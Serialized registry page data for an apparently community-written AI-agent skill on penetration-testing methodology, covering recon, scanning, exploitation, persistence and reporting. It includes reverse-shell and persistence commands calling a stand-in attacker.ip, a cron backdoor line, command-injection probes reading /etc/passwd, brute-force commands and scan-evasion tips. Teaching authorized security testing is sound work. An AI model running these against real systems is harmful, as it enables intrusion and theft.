[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7C9F3TWNT5BYRQSFZWNF1F9":3,"skill-same:01M7C9F3TWNT5BYRQSFZWNF1F9":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":33,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M7C9F3TWNT5BYRQSFZWNF1F9","ethical-hacking-methodology",null,"Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.","YYC-Cube\u002FYYC3-Knowledge-Base","YYC-Cube","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F235006543?v=4","01M79J2PH4SWD2X0825X6PN748","yyc3","01M79J2PHVK3F6ZBYT8K2SCZCW",1,"MIT","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fplugins\u002Fantigravity-awesome-skills\u002Fskills\u002Fethical-hacking-methodology\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ethical-hacking-methodology\ndescription: \"Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.\"\nrisk: unknown\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n# Ethical Hacking Methodology\n\n## Purpose\n\nMaster the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.\n\n## Prerequisites\n\n### Required Environment\n- Kali Linux installed (persistent or live)\n- Network access to authorized targets\n- Written authorization from system owner\n\n### Required Knowledge\n- Basic networking concepts\n- Linux command-line proficiency\n- Understanding of web technologies\n- Familiarity with security concepts\n\n## Outputs and Deliverables\n\n1. **Reconnaissance Report** - Target information gathered\n2. **Vulnerability Assessment** - Identified weaknesses\n3. **Exploitation Evidence** - Proof of concept attacks\n4. **Final Report** - Executive and technical findings\n\n## Core Workflow\n\n### Phase 1: Understanding Hacker Types\n\nClassification of security professionals:\n\n**White Hat Hackers (Ethical Hackers)**\n- Authorized security professionals\n- Conduct penetration testing with permission\n- Goal: Identify and fix vulnerabilities\n- Also known as: penetration testers, security consultants\n\n**Black Hat Hackers (Malicious)**\n- Unauthorized system intrusions\n- Motivated by profit, revenge, or notoriety\n- Goal: Steal data, cause damage\n- Also known as: crackers, criminal hackers\n\n**Grey Hat Hackers (Hybrid)**\n- May cross ethical boundaries\n- Not malicious but may break rules\n- Often disclose vulnerabilities publicly\n- Mixed motivations\n\n**Other Classifications**\n- **Script Kiddies**: Use pre-made tools without understanding\n- **Hacktivists**: Politically or socially motivated\n- **Nation State**: Government-sponsored operatives\n- **Coders**: Develop tools and exploits\n\n### Phase 2: Reconnaissance\n\nGather information without direct system interaction:\n\n**Passive Reconnaissance**\n```bash\n# WHOIS lookup\nwhois target.com\n\n# DNS enumeration\nnslookup target.com\ndig target.com ANY\ndig target.com MX\ndig target.com NS\n\n# Subdomain discovery\ndnsrecon -d target.com\n\n# Email harvesting\ntheHarvester -d target.com -b all\n```\n\n**Google Hacking (OSINT)**\n```\n# Find exposed files\nsite:target.com filetype:pdf\nsite:target.com filetype:xls\nsite:target.com filetype:doc\n\n# Find login pages\nsite:target.com inurl:login\nsite:target.com inurl:admin\n\n# Find directory listings\nsite:target.com intitle:\"index of\"\n\n# Find configuration files\nsite:target.com filetype:config\nsite:target.com filetype:env\n```\n\n**Google Hacking Database Categories:**\n- Files containing passwords\n- Sensitive directories\n- Web server detection\n- Vulnerable servers\n- Error messages\n- Login portals\n\n**Social Media Reconnaissance**\n- LinkedIn: Organizational charts, technologies used\n- Twitter: Company announcements, employee info\n- Facebook: Personal information, relationships\n- Job postings: Technology stack revelations\n\n### Phase 3: Scanning\n\nActive enumeration of target systems:\n\n**Host Discovery**\n```bash\n# Ping sweep\nnmap -sn 192.168.1.0\u002F24\n\n# ARP scan (local network)\narp-scan -l\n\n# Discover live hosts\nnmap -sP 192.168.1.0\u002F24\n```\n\n**Port Scanning**\n```bash\n# TCP SYN scan (stealth)\nnmap -sS target.com\n\n# Full TCP connect scan\nnmap -sT target.com\n\n# UDP scan\nnmap -sU target.com\n\n# All ports scan\nnmap -p- target.com\n\n# Top 1000 ports with service detection\nnmap -sV target.com\n\n# Aggressive scan (OS, version, scripts)\nnmap -A target.com\n```\n\n**Service Enumeration**\n```bash\n# Specific service scripts\nnmap --script=http-enum target.com\nnmap --script=smb-enum-shares target.com\nnmap --script=ftp-anon target.com\n\n# Vulnerability scanning\nnmap --script=vuln target.com\n```\n\n**Common Port Reference**\n| Port | Service | Notes |\n|------|---------|-------|\n| 21 | FTP | File transfer |\n| 22 | SSH | Secure shell |\n| 23 | Telnet | Unencrypted remote |\n| 25 | SMTP | Email |\n| 53 | DNS | Name resolution |\n| 80 | HTTP | Web |\n| 443 | HTTPS | Secure web |\n| 445 | SMB | Windows shares |\n| 3306 | MySQL | Database |\n| 3389 | RDP | Remote desktop |\n\n### Phase 4: Vulnerability Analysis\n\nIdentify exploitable weaknesses:\n\n**Automated Scanning**\n```bash\n# Nikto web scanner\nnikto -h http:\u002F\u002Ftarget.com\n\n# OpenVAS (command line)\nomp -u admin -w password --xml=\"\u003Cget_tasks\u002F>\"\n\n# Nessus (via API)\nnessuscli scan --target target.com\n```\n\n**Web Application Testing (OWASP)**\n- SQL Injection\n- Cross-Site Scripting (XSS)\n- Broken Authentication\n- Security Misconfiguration\n- Sensitive Data Exposure\n- XML External Entities (XXE)\n- Broken Access Control\n- Insecure Deserialization\n- Using Components with Known Vulnerabilities\n- Insufficient Logging & Monitoring\n\n**Manual Techniques**\n```bash\n# Directory brute forcing\ngobuster dir -u http:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirb\u002Fcommon.txt\n\n# Subdomain enumeration\ngobuster dns -d target.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fsubdomains.txt\n\n# Web technology fingerprinting\nwhatweb target.com\n```\n\n### Phase 5: Exploitation\n\nActively exploit discovered vulnerabilities:\n\n**Metasploit Framework**\n```bash\n# Start Metasploit\nmsfconsole\n\n# Search for exploits\nmsf> search type:exploit name:smb\n\n# Use specific exploit\nmsf> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Set target\nmsf> set RHOSTS target.com\n\n# Set payload\nmsf> set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\nmsf> set LHOST attacker.ip\n\n# Execute\nmsf> exploit\n```\n\n**Password Attacks**\n```bash\n# Hydra brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002Ftarget.com\nhydra -L users.txt -P passwords.txt ftp:\u002F\u002Ftarget.com\n\n# John the Ripper\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt hashes.txt\n```\n\n**Web Exploitation**\n```bash\n# SQLMap for SQL injection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database --tables\n\n# XSS testing\n# Manual: \u003Cscript>alert('XSS')\u003C\u002Fscript>\n\n# Command injection testing\n# ; ls -la\n# | cat \u002Fetc\u002Fpasswd\n```\n\n### Phase 6: Maintaining Access\n\nEstablish persistent access:\n\n**Backdoors**\n```bash\n# Meterpreter persistence\nmeterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip\n\n# SSH key persistence\n# Add attacker's public key to ~\u002F.ssh\u002Fauthorized_keys\n\n# Cron job persistence\necho \"* * * * * \u002Ftmp\u002Fbackdoor.sh\" >> \u002Fetc\u002Fcrontab\n```\n\n**Privilege Escalation**\n```bash\n# Linux enumeration\nlinpeas.sh\nlinux-exploit-suggester.sh\n\n# Windows enumeration\nwinpeas.exe\nwindows-exploit-suggester.py\n\n# Check SUID binaries (Linux)\nfind \u002F -perm -4000 2>\u002Fdev\u002Fnull\n\n# Check sudo permissions\nsudo -l\n```\n\n**Covering Tracks (Ethical Context)**\n- Document all actions taken\n- Maintain logs for reporting\n- Avoid unnecessary system changes\n- Clean up test files and backdoors\n\n### Phase 7: Reporting\n\nDocument findings professionally:\n\n**Report Structure**\n1. **Executive Summary**\n   - High-level findings\n   - Business impact\n   - Risk ratings\n   - Remediation priorities\n\n2. **Technical Findings**\n   - Vulnerability details\n   - Proof of concept\n   - Screenshots\u002Fevidence\n   - Affected systems\n\n3. **Risk Ratings**\n   - Critical: Immediate action required\n   - High: Address within 24-48 hours\n   - Medium: Address within 1 week\n   - Low: Address within 1 month\n   - Informational: Best practice recommendations\n\n4. **Remediation Recommendations**\n   - Specific fixes for each finding\n   - Short-term mitigations\n   - Long-term solutions\n   - Resource requirements\n\n5. **Appendices**\n   - Detailed scan outputs\n   - Tool configurations\n   - Testing timeline\n   - Scope and methodology\n\n### Phase 8: Common Attack Types\n\n**Phishing**\n- Email-based credential theft\n- Fake login pages\n- Malicious attachments\n- Social engineering component\n\n**Malware Types**\n- **Virus**: Self-replicating, needs host file\n- **Worm**: Self-propagating across networks\n- **Trojan**: Disguised as legitimate software\n- **Ransomware**: Encrypts files for ransom\n- **Rootkit**: Hidden system-level access\n- **Spyware**: Monitors user activity\n\n**Network Attacks**\n- Man-in-the-Middle (MITM)\n- ARP Spoofing\n- DNS Poisoning\n- DDoS (Distributed Denial of Service)\n\n### Phase 9: Kali Linux Setup\n\nInstall penetration testing platform:\n\n**Hard Disk Installation**\n1. Download ISO from kali.org\n2. Boot from installation media\n3. Select \"Graphical Install\"\n4. Configure language, location, keyboard\n5. Set hostname and root password\n6. Partition disk (Guided - use entire disk)\n7. Install GRUB bootloader\n8. Reboot and login\n\n**Live USB (Persistent)**\n```bash\n# Create bootable USB\ndd if=kali-linux.iso of=\u002Fdev\u002Fsdb bs=512k status=progress\n\n# Create persistence partition\ngparted \u002Fdev\u002Fsdb\n# Add ext4 partition labeled \"persistence\"\n\n# Configure persistence\nmkdir \u002Fmnt\u002Fusb\nmount \u002Fdev\u002Fsdb2 \u002Fmnt\u002Fusb\necho \"\u002F union\" > \u002Fmnt\u002Fusb\u002Fpersistence.conf\numount \u002Fmnt\u002Fusb\n```\n\n### Phase 10: Ethical Guidelines\n\n**Legal Requirements**\n- Obtain written authorization\n- Define scope clearly\n- Document all testing activities\n- Report all findings to client\n- Maintain confidentiality\n\n**Professional Conduct**\n- Work ethically with integrity\n- Respect privacy of data accessed\n- Avoid unnecessary system damage\n- Execute planned tests only\n- Never use findings for personal gain\n\n## Quick Reference\n\n### Penetration Testing Lifecycle\n\n| Stage | Purpose | Key Tools |\n|-------|---------|-----------|\n| Reconnaissance | Gather information | theHarvester, WHOIS, Google |\n| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |\n| Exploitation | Gain access | Metasploit, SQLMap, Hydra |\n| Maintaining Access | Persistence | Meterpreter, SSH keys |\n| Reporting | Document findings | Report templates |\n\n### Essential Commands\n\n| Command | Purpose |\n|---------|---------|\n| `nmap -sV target` | Port and service scan |\n| `nikto -h target` | Web vulnerability scan |\n| `msfconsole` | Start Metasploit |\n| `hydra -l user -P list ssh:\u002F\u002Ftarget` | SSH brute force |\n| `sqlmap -u \"url?id=1\" --dbs` | SQL injection |\n\n## Constraints and Limitations\n\n### Authorization Required\n- Never test without written permission\n- Stay within defined scope\n- Report unauthorized access attempts\n\n### Professional Standards\n- Follow rules of engagement\n- Maintain client confidentiality\n- Document methodology used\n- Provide actionable recommendations\n\n## Troubleshooting\n\n### Scans Blocked\n\n**Solutions:**\n1. Use slower scan rates\n2. Try different scanning techniques\n3. Use proxy or VPN\n4. Fragment packets\n\n### Exploits Failing\n\n**Solutions:**\n1. Verify target vulnerability exists\n2. Check payload compatibility\n3. Adjust exploit parameters\n4. Try alternative exploits\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# Ethical Hacking Methodology\n\n## Purpose\n\nMaster the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.\n\n## Prerequisites\n\n### Required Environment\n- Kali Linux installed (persistent or live)\n- Network access to authorized targets\n- Written authorization from system owner\n\n### Required Knowledge\n- Basic networking concepts\n- Linux command-line proficiency\n- Understanding of web technologies\n- Familiarity with security concepts\n\n## Outputs and Deliverables\n\n1. **Reconnaissance Report** - Target information gathered\n2. **Vulnerability Assessment** - Identified weaknesses\n3. **Exploitation Evidence** - Proof of concept attacks\n4. **Final Report** - Executive and technical findings\n\n## Core Workflow\n\n### Phase 1: Understanding Hacker Types\n\nClassification of security professionals:\n\n**White Hat Hackers (Ethical Hackers)**\n- Authorized security professionals\n- Conduct penetration testing with permission\n- Goal: Identify and fix vulnerabilities\n- Also known as: penetration testers, security consultants\n\n**Black Hat Hackers (Malicious)**\n- Unauthorized system intrusions\n- Motivated by profit, revenge, or notoriety\n- Goal: Steal data, cause damage\n- Also known as: crackers, criminal hackers\n\n**Grey Hat Hackers (Hybrid)**\n- May cross ethical boundaries\n- Not malicious but may break rules\n- Often disclose vulnerabilities publicly\n- Mixed motivations\n\n**Other Classifications**\n- **Script Kiddies**: Use pre-made tools without understanding\n- **Hacktivists**: Politically or socially motivated\n- **Nation State**: Government-sponsored operatives\n- **Coders**: Develop tools and exploits\n\n### Phase 2: Reconnaissance\n\nGather information without direct system interaction:\n\n**Passive Reconnaissance**\n```bash\n# WHOIS lookup\nwhois target.com\n\n# DNS enumeration\nnslookup target.com\ndig target.com ANY\ndig target.com MX\ndig target.com NS\n\n# Subdomain discovery\ndnsrecon -d target.com\n\n# Email harvesting\ntheHarvester -d target.com -b all\n```\n\n**Google Hacking (OSINT)**\n```\n# Find exposed files\nsite:target.com filetype:pdf\nsite:target.com filetype:xls\nsite:target.com filetype:doc\n\n# Find login pages\nsite:target.com inurl:login\nsite:target.com inurl:admin\n\n# Find directory listings\nsite:target.com intitle:\"index of\"\n\n# Find configuration files\nsite:target.com filetype:config\nsite:target.com filetype:env\n```\n\n**Google Hacking Database Categories:**\n- Files containing passwords\n- Sensitive directories\n- Web server detection\n- Vulnerable servers\n- Error messages\n- Login portals\n\n**Social Media Reconnaissance**\n- LinkedIn: Organizational charts, technologies used\n- Twitter: Company announcements, employee info\n- Facebook: Personal information, relationships\n- Job postings: Technology stack revelations\n\n### Phase 3: Scanning\n\nActive enumeration of target systems:\n\n**Host Discovery**\n```bash\n# Ping sweep\nnmap -sn 192.168.1.0\u002F24\n\n# ARP scan (local network)\narp-scan -l\n\n# Discover live hosts\nnmap -sP 192.168.1.0\u002F24\n```\n\n**Port Scanning**\n```bash\n# TCP SYN scan (stealth)\nnmap -sS target.com\n\n# Full TCP connect scan\nnmap -sT target.com\n\n# UDP scan\nnmap -sU target.com\n\n# All ports scan\nnmap -p- target.com\n\n# Top 1000 ports with service detection\nnmap -sV target.com\n\n# Aggressive scan (OS, version, scripts)\nnmap -A target.com\n```\n\n**Service Enumeration**\n```bash\n# Specific service scripts\nnmap --script=http-enum target.com\nnmap --script=smb-enum-shares target.com\nnmap --script=ftp-anon target.com\n\n# Vulnerability scanning\nnmap --script=vuln target.com\n```\n\n**Common Port Reference**\n| Port | Service | Notes |\n|------|---------|-------|\n| 21 | FTP | File transfer |\n| 22 | SSH | Secure shell |\n| 23 | Telnet | Unencrypted remote |\n| 25 | SMTP | Email |\n| 53 | DNS | Name resolution |\n| 80 | HTTP | Web |\n| 443 | HTTPS | Secure web |\n| 445 | SMB | Windows shares |\n| 3306 | MySQL | Database |\n| 3389 | RDP | Remote desktop |\n\n### Phase 4: Vulnerability Analysis\n\nIdentify exploitable weaknesses:\n\n**Automated Scanning**\n```bash\n# Nikto web scanner\nnikto -h http:\u002F\u002Ftarget.com\n\n# OpenVAS (command line)\nomp -u admin -w password --xml=\"\u003Cget_tasks\u002F>\"\n\n# Nessus (via API)\nnessuscli scan --target target.com\n```\n\n**Web Application Testing (OWASP)**\n- SQL Injection\n- Cross-Site Scripting (XSS)\n- Broken Authentication\n- Security Misconfiguration\n- Sensitive Data Exposure\n- XML External Entities (XXE)\n- Broken Access Control\n- Insecure Deserialization\n- Using Components with Known Vulnerabilities\n- Insufficient Logging & Monitoring\n\n**Manual Techniques**\n```bash\n# Directory brute forcing\ngobuster dir -u http:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirb\u002Fcommon.txt\n\n# Subdomain enumeration\ngobuster dns -d target.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fsubdomains.txt\n\n# Web technology fingerprinting\nwhatweb target.com\n```\n\n### Phase 5: Exploitation\n\nActively exploit discovered vulnerabilities:\n\n**Metasploit Framework**\n```bash\n# Start Metasploit\nmsfconsole\n\n# Search for exploits\nmsf> search type:exploit name:smb\n\n# Use specific exploit\nmsf> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# Set target\nmsf> set RHOSTS target.com\n\n# Set payload\nmsf> set PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp\nmsf> set LHOST attacker.ip\n\n# Execute\nmsf> exploit\n```\n\n**Password Attacks**\n```bash\n# Hydra brute force\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002Ftarget.com\nhydra -L users.txt -P passwords.txt ftp:\u002F\u002Ftarget.com\n\n# John the Ripper\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt hashes.txt\n```\n\n**Web Exploitation**\n```bash\n# SQLMap for SQL injection\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" --dbs\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage.php?id=1\" -D database --tables\n\n# XSS testing\n# Manual: \u003Cscript>alert('XSS')\u003C\u002Fscript>\n\n# Command injection testing\n# ; ls -la\n# | cat \u002Fetc\u002Fpasswd\n```\n\n### Phase 6: Maintaining Access\n\nEstablish persistent access:\n\n**Backdoors**\n```bash\n# Meterpreter persistence\nmeterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip\n\n# SSH key persistence\n# Add attacker's public key to ~\u002F.ssh\u002Fauthorized_keys\n\n# Cron job persistence\necho \"* * * * * \u002Ftmp\u002Fbackdoor.sh\" >> \u002Fetc\u002Fcrontab\n```\n\n**Privilege Escalation**\n```bash\n# Linux enumeration\nlinpeas.sh\nlinux-exploit-suggester.sh\n\n# Windows enumeration\nwinpeas.exe\nwindows-exploit-suggester.py\n\n# Check SUID binaries (Linux)\nfind \u002F -perm -4000 2>\u002Fdev\u002Fnull\n\n# Check sudo permissions\nsudo -l\n```\n\n**Covering Tracks (Ethical Context)**\n- Document all actions taken\n- Maintain logs for reporting\n- Avoid unnecessary system changes\n- Clean up test files and backdoors\n\n### Phase 7: Reporting\n\nDocument findings professionally:\n\n**Report Structure**\n1. **Executive Summary**\n   - High-level findings\n   - Business impact\n   - Risk ratings\n   - Remediation priorities\n\n2. **Technical Findings**\n   - Vulnerability details\n   - Proof of concept\n   - Screenshots\u002Fevidence\n   - Affected systems\n\n3. **Risk Ratings**\n   - Critical: Immediate action required\n   - High: Address within 24-48 hours\n   - Medium: Address within 1 week\n   - Low: Address within 1 month\n   - Informational: Best practice recommendations\n\n4. **Remediation Recommendations**\n   - Specific fixes for each finding\n   - Short-term mitigations\n   - Long-term solutions\n   - Resource requirements\n\n5. **Appendices**\n   - Detailed scan outputs\n   - Tool configurations\n   - Testing timeline\n   - Scope and methodology\n\n### Phase 8: Common Attack Types\n\n**Phishing**\n- Email-based credential theft\n- Fake login pages\n- Malicious attachments\n- Social engineering component\n\n**Malware Types**\n- **Virus**: Self-replicating, needs host file\n- **Worm**: Self-propagating across networks\n- **Trojan**: Disguised as legitimate software\n- **Ransomware**: Encrypts files for ransom\n- **Rootkit**: Hidden system-level access\n- **Spyware**: Monitors user activity\n\n**Network Attacks**\n- Man-in-the-Middle (MITM)\n- ARP Spoofing\n- DNS Poisoning\n- DDoS (Distributed Denial of Service)\n\n### Phase 9: Kali Linux Setup\n\nInstall penetration testing platform:\n\n**Hard Disk Installation**\n1. Download ISO from kali.org\n2. Boot from installation media\n3. Select \"Graphical Install\"\n4. Configure language, location, keyboard\n5. Set hostname and root password\n6. Partition disk (Guided - use entire disk)\n7. Install GRUB bootloader\n8. Reboot and login\n\n**Live USB (Persistent)**\n```bash\n# Create bootable USB\ndd if=kali-linux.iso of=\u002Fdev\u002Fsdb bs=512k status=progress\n\n# Create persistence partition\ngparted \u002Fdev\u002Fsdb\n# Add ext4 partition labeled \"persistence\"\n\n# Configure persistence\nmkdir \u002Fmnt\u002Fusb\nmount \u002Fdev\u002Fsdb2 \u002Fmnt\u002Fusb\necho \"\u002F union\" > \u002Fmnt\u002Fusb\u002Fpersistence.conf\numount \u002Fmnt\u002Fusb\n```\n\n### Phase 10: Ethical Guidelines\n\n**Legal Requirements**\n- Obtain written authorization\n- Define scope clearly\n- Document all testing activities\n- Report all findings to client\n- Maintain confidentiality\n\n**Professional Conduct**\n- Work ethically with integrity\n- Respect privacy of data accessed\n- Avoid unnecessary system damage\n- Execute planned tests only\n- Never use findings for personal gain\n\n## Quick Reference\n\n### Penetration Testing Lifecycle\n\n| Stage | Purpose | Key Tools |\n|-------|---------|-----------|\n| Reconnaissance | Gather information | theHarvester, WHOIS, Google |\n| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |\n| Exploitation | Gain access | Metasploit, SQLMap, Hydra |\n| Maintaining Access | Persistence | Meterpreter, SSH keys |\n| Reporting | Document findings | Report templates |\n\n### Essential Commands\n\n| Command | Purpose |\n|---------|---------|\n| `nmap -sV target` | Port and service scan |\n| `nikto -h target` | Web vulnerability scan |\n| `msfconsole` | Start Metasploit |\n| `hydra -l user -P list ssh:\u002F\u002Ftarget` | SSH brute force |\n| `sqlmap -u \"url?id=1\" --dbs` | SQL injection |\n\n## Constraints and Limitations\n\n### Authorization Required\n- Never test without written permission\n- Stay within defined scope\n- Report unauthorized access attempts\n\n### Professional Standards\n- Follow rules of engagement\n- Maintain client confidentiality\n- Document methodology used\n- Provide actionable recommendations\n\n## Troubleshooting\n\n### Scans Blocked\n\n**Solutions:**\n1. Use slower scan rates\n2. Try different scanning techniques\n3. Use proxy or VPN\n4. Fragment packets\n\n### Exploits Failing\n\n**Solutions:**\n1. Verify target vulnerability exists\n2. Check payload compatibility\n3. Adjust exploit parameters\n4. Try alternative exploits\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":24,"author":25,"source":26,"date_added":27,"description":7},"unknown","zebbern","community","2026-02-27","main","87afe6ce96220accf50a345dea46784c8c9f210e","YYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fplugins\u002Fantigravity-awesome-skills\u002Fskills\u002Fethical-hacking-methodology",0,"https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base","https:\u002F\u002Fkb.yyc3.top\u002F","https:\u002F\u002Fgithub.com\u002FYYC-Cube","万象归元于云枢 | 深栈智启新纪元","2026-11-10 10:37:32",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill ethical-hacking-methodology",{"tool":43,"command":44},"bunx","bunx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill ethical-hacking-methodology",{"tool":46,"command":47},"pnpm","pnpm dlx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill ethical-hacking-methodology","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fplugins\u002Fantigravity-awesome-skills\u002Fskills\u002Fethical-hacking-methodology\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7CTDWHERCXPQCP0K03A86AS","vercel-sandbox","Run agent-browser + Chrome inside Vercel Sandbox microVMs for browser automation from any Vercel-deployed app. Use when the user needs browser automation in a Vercel app (Next.js, SvelteKit, Nuxt, Remix, Astro, etc.), wants to run headless Chrome without binary size limits, needs persistent browser sessions across commands, or wants ephemeral isolated browser environments. Triggers include \"Vercel Sandbox browser\", \"microVM Chrome\", \"agent-browser in sandbox\", \"browser automation on Vercel\", or any task requiring Chrome in a Vercel Sandbox.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fvercel-sandbox\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7CTD8D2BNJY54S65M47HEJA","slack","Interact with Slack workspaces using browser automation. Use when the user needs to check unread channels, navigate Slack, send messages, extract data, find information, search conversations, or automate any Slack task. Triggers include \"check my Slack\", \"what channels have unreads\", \"send a message to\", \"search Slack for\", \"extract from Slack\", \"find who said\", or any task requiring programmatic Slack interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fslack\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7CTCSSB8ZP3Q58C3YZDZK1W","electron","Automate Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify, etc.) using agent-browser via Chrome DevTools Protocol. Use when the user needs to interact with an Electron app, automate a desktop app, connect to a running app, control a native app, or test an Electron application. Triggers include \"automate Slack app\", \"control VS Code\", \"interact with Discord app\", \"test this Electron app\", \"connect to desktop app\", or any task requiring automation of a native Electron application.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Felectron\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7CTCBJY76688V4DCZGWFHGQ","dogfood","Systematically explore and test a web application to find bugs, UX issues, and other problems. Use when asked to \"dogfood\", \"QA\", \"exploratory test\", \"find issues\", \"bug hunt\", \"test this app\u002Fsite\u002Fplatform\", or review the quality of a web application. Produces a structured report with full reproduction evidence -- step-by-step screenshots, repro videos, and detailed repro steps for every issue -- so findings can be handed directly to the responsible teams.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fdogfood\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7CTC4H0FFGVEAQR9PA4GA1A","agent-browser","Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to \"open a website\", \"fill out a form\", \"click a button\", \"take a screenshot\", \"scrape data from a page\", \"test this web app\", \"login to a site\", \"automate browser actions\", or any task requiring programmatic web 